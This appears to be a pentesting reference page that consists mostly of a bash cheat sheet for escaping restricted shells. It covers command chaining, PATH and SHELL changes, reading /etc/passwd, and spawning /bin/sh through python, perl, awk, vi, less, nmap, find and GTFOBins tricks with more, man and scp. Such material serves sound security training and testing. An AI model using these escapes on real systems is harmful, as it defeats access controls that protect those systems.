6.Escaping-restricted-shells
Restricted Shell Escape Attempts
```bash
# 1. Check the restricted shell type (if possible)
# (Often, this is not directly visible)
# 2. Enumerate allowed commands (try common ones)
ls
pwd
whoami
id
echo $PATH
env
# Try other basic commands
# 3. Test command substitution
ls -l `pwd`
ls -l $(pwd)
echo `whoami`
echo $(whoami)
# 4. Test command chaining
ls; whoami
pwd && id
echo 1 || echo 2
cat /etc/passwd | grep root
# 5. Test environment variable manipulation (if possible)
echo $PATH
export PATH=/bin:/usr/bin:/sbin:/usr/sbin
echo $PATH
echo $SHELL
export SHELL=/bin/bash
$SHELL # Try to spawn a new shell
# 6. Test shell function creation (if possible)
function test { /bin/bash; }
test
# 7. Try common escape binaries (if available)
sh
bash
python -c 'import os; os.system("/bin/sh")'
perl -e 'exec "/bin/sh";'
ruby -e 'exec "/bin/sh"'
awk 'BEGIN {system("/bin/sh")}'
vi
nano
tmux
screen
less /etc/passwd # Then !/bin/sh
nmap --interactive # Then !sh
find / -exec /bin/sh \;
# 8. If vi is available
vi
# Then:
# :!/bin/sh
# or
# :set shell=/bin/bash
# :shell
# 9. GTFObins Check (Manual - Check allowed binaries against GTFObins)
# Example: If 'more' is allowed, check GTFObins for 'more'
# Example: If 'scp' is allowed, check GTFObins for 'scp'
# Example: If 'man' is allowed, check GTFObins for 'man'
# Example: If 'more' is allowed, and GTFObins shows an escape:
more /etc/passwd
:!/bin/sh
# Example: If 'man' is allowed, and GTFObins shows an escape:
man man
:!/bin/sh
# Example: If 'scp' is allowed, and GTFObins shows an escape:
scp user@host:/dev/null /dev/null -S /bin/sh
Understanding Restricted Shells
Last updated